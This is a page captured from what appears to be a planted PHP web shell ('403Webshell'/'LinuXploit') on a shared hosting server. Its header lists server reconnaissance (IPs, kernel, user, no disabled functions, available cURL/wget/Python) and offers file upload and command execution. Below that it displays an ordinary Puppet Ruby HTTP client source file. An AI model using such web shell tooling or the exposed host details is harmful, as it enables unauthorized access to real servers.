403Webshell
Server IP : 172.67.158.161  /  Your IP : 3.12.41.136
Web Server : LiteSpeed
System : Linux business53.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : giankuin ( 1871)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/puppetlabs/puppet/lib/ruby/vendor_ruby/puppet/http/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/puppetlabs/puppet/lib/ruby/vendor_ruby/puppet/http//external_client.rb
# Adapts an external http_client_class to the HTTP client API. The former
# is typically registered by puppetserver and only implements a subset of
# the Puppet::Network::HTTP::Connection methods. As a result, only the
# `get` and `post` methods are supported. Calling `delete`, etc will
# raise a NotImplementedError.
#
# @api private
class Puppet::HTTP::ExternalClient < Puppet::HTTP::Client

  # Create an external http client.
  #
  # @param [Class] http_client_class The class to create to handle the request
  def initialize(http_client_class)
    @http_client_class = http_client_class
  end

  # (see Puppet::HTTP::Client#get)
  # @api private
  def get(url, headers: {}, params: {}, options: {}, &block)
    url = encode_query(url, params)

    options[:use_ssl] = url.scheme == 'https'

    client = @http_client_class.new(url.host, url.port, options)
    response = Puppet::HTTP::ResponseNetHTTP.new(url, client.get(url.request_uri, headers, options))

    if block_given?
      yield response
    else
      response
    end
  rescue Puppet::HTTP::HTTPError
    raise
  rescue => e
    raise Puppet::HTTP::HTTPError.new(e.message, e)
  end

  # (see Puppet::HTTP::Client#post)
  # @api private
  def post(url, body, headers: {}, params: {}, options: {}, &block)
    raise ArgumentError.new("'post' requires a string 'body' argument") unless body.is_a?(String)
    url = encode_query(url, params)

    options[:use_ssl] = url.scheme == 'https'

    client = @http_client_class.new(url.host, url.port, options)
    response = Puppet::HTTP::ResponseNetHTTP.new(url, client.post(url.request_uri, body, headers, options))

    if block_given?
      yield response
    else
      response
    end
  rescue Puppet::HTTP::HTTPError, ArgumentError
    raise
  rescue => e
    raise Puppet::HTTP::HTTPError.new(e.message, e)
  end

  # (see Puppet::HTTP::Client#close)
  # @api private
  def close
    # This is a noop as puppetserver doesn't provide a way to close its http client.
  end

  # The following are intentionally not documented

  def create_session
    raise NotImplementedError
  end

  def connect(uri, options: {}, &block)
    raise NotImplementedError
  end

  def head(url, headers: {}, params: {}, options: {})
    raise NotImplementedError
  end

  def put(url, headers: {}, params: {}, options: {})
    raise NotImplementedError
  end

  def delete(url, headers: {}, params: {}, options: {})
    raise NotImplementedError
  end

end

Youez - 2016 - github.com/yon3zu
LinuXploit